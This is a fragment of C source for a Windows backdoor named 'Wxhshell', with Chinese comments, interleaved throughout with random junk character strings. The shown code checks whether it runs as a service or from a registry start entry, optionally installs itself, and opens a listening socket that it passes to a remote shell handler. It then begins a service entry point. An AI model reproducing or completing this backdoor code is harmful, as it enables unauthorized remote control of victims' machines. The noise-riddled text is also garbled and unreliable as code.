V2x hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z qX U if(!hProcess) return 0; fq/F|c %]%.{W\j3 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \&\_[y8U v{Cts3?Br CloseHandle(hProcess); }$u]aX< %C=^
h1t% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "sF&WuW| if(hProcess==NULL) return 0; d;&'uiS P_+S;(QQ~d HMODULE hMod; 24{!j[,q@ char procName[255]; A+%oE unsigned long cbNeeded; F\!;}z D+{h@^C9Z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?&Si P-G 0gPz|v>z CloseHandle(hProcess); ($*bwqp]} (gBP`*2 if(strstr(procName,"services")) return 1; // 以服务启动 ]Po9a4w# .58>KBj( return 0; // 注册表启动 ,>CFw-Nxu } 9
O| "Ws>{ \7Hzj0hSi // 主模块 ey<u int StartWxhshell(LPSTR lpCmdLine) DUf=\p6`f { m`C(y$8fU SOCKET wsl; quc?]rb BOOL val=TRUE; B`OggdE int port=0; 9Ue3
%?~c struct sockaddr_in door; x8%Q TTY f XxdOn. if(wscfg.ws_autoins) Install(); |33pf7o j>~^jz: port=atoi(lpCmdLine); uy\<t T/G1v;] if(port<=0) port=wscfg.ws_port; P\;lH"9 B&A4-w v WSADATA data; [dFxW6n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XOzPi*V** Wq
7
c/| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; g#~ jF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +]H9:ARI door.sin_family = AF_INET; +U&aK dQs door.sin_addr.s_addr = inet_addr("127.0.0.1"); X>OO4SV door.sin_port = htons(port); Acr\2!)) dA>t if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r/=v;4.W closesocket(wsl); !q~s-~d^ return 1; <uNBsYMuC } =]E(iR_& I=l() ET= if(listen(wsl,2) == INVALID_SOCKET) { g[Ah>
5 closesocket(wsl); ;[WW,,!Y return 1; %@q52ZQ } tu6oa[s Wxhshell(wsl); *%(8z~(\ WSACleanup(); v=nq P{ ]]@jvU_?kS return 0; Fh& `v0 `g6XVa*%# } w[\*\'Vm0 wl^bvHG // 以NT服务方式启动 4XK*sR0-` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &W |